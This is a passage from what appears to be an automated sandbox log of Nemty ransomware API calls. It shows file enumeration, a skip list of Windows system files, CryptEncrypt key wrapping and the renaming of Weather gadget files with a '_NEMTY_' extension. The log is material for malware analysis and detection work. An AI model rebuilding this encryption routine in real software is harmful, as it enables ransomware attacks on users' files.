(HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340448 [0150.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340448 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\settings.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\settings.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\settings.js._nemty_kgobjgd_")) returned 0 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403a0 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.768] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2=".") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="..") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="...") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="windows") returned -1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="$RECYCLE.BIN") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="rsa") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="NTDETECT.COM") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="ntldr") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="MSDOS.SYS") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="IO.SYS") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="boot.ini") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="boot.ini") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="AUTOEXEC.BAT") returned 1 [0150.768] lstrcmpiW (lpString1="weather.js", lpString2="ntuser.dat") returned 1 [0150.769] lstrcmpiW (lpString1="weather.js", lpString2="desktop.ini") returned 1 [0150.769] lstrcmpiW (lpString1="weather.js", lpString2="CONFIG.SYS") returned 1 [0150.769] lstrcmpiW (lpString1="weather.js", lpString2="RECYCLER") returned 1 [0150.769] lstrcmpiW (lpString1="weather.js", lpString2="BOOTSECT.BAK") returned 1 [0150.769] lstrcmpiW (lpString1="weather.js", lpString2="bootmgr") returned 1 [0150.769] lstrcmpiW (lpString1="weather.js", lpString2="programdata") returned 1 [0150.769] lstrcmpiW (lpString1="weather.js", lpString2="appdata") returned 1 [0150.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.js", lpUsedDefaultChar=0x0) returned 10 [0150.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.js", lpUsedDefaultChar=0x0) returned 10 [0150.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.js", lpUsedDefaultChar=0x0) returned 10 [0150.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.js", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.js", lpUsedDefaultChar=0x0) returned 10 [0150.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0150.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0150.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0150.769] Sleep (dwMilliseconds=0x5) [0150.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd838e10, dwHighDateTime=0x1d561e8)) [0150.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd838e10, dwHighDateTime=0x1d561e8)) [0150.777] GetLastError () returned 0x5 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.777] GetLastError () returned 0x5 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0150.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0150.777] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0150.777] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e5dc | out: pszString="6apc9xmJFT2bnHp+NF1szYQR57Yjutippxn2G4CWE5SFyKT/b0nHBUd4L1xHqKWv\r\nLYmVEAHrbK7sMru5EWkne9bReFEUPofHrV2pwfPuYVHaPjzYpDObHoGr6M+OgBAV\r\nteC8VMP6YOzWYB4tGx17GRiqQCwuzNCg7wtfacCVHqinB9xa2kixSM1syuy7VpY8\r\n1WbZnev3Fay9Ypkks3619UIwLIbtIFU1OlCN7kY0xEqUczb/uIcVXLOJlf3B6Fgm\r\n45PhSOnndekOYJqjC4Xt6UKF+hVwJunqdVqO2dztbYWqSasrWy57b1R6D6q5KOMm\r\nHQWYr0aj0bLBHDlPQLxzsg==\r\n", pcchString=0x653e5dc) returned 1 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0150.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0150.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.777] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\weather.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\weather.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.778] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0150.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.885] CloseHandle (hObject=0xffffffff) returned 0 [0150.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0150.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0150.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\weather.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\weather.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\weather.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\weather.js._nemty_kgobjgd_")) returned 0 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0150.885] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c24d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xd3c24d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xd3e8630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0150.885] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0150.885] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0150.885] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0150.885] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0150.885] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0150.885] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0150.886] lstrcmpiW 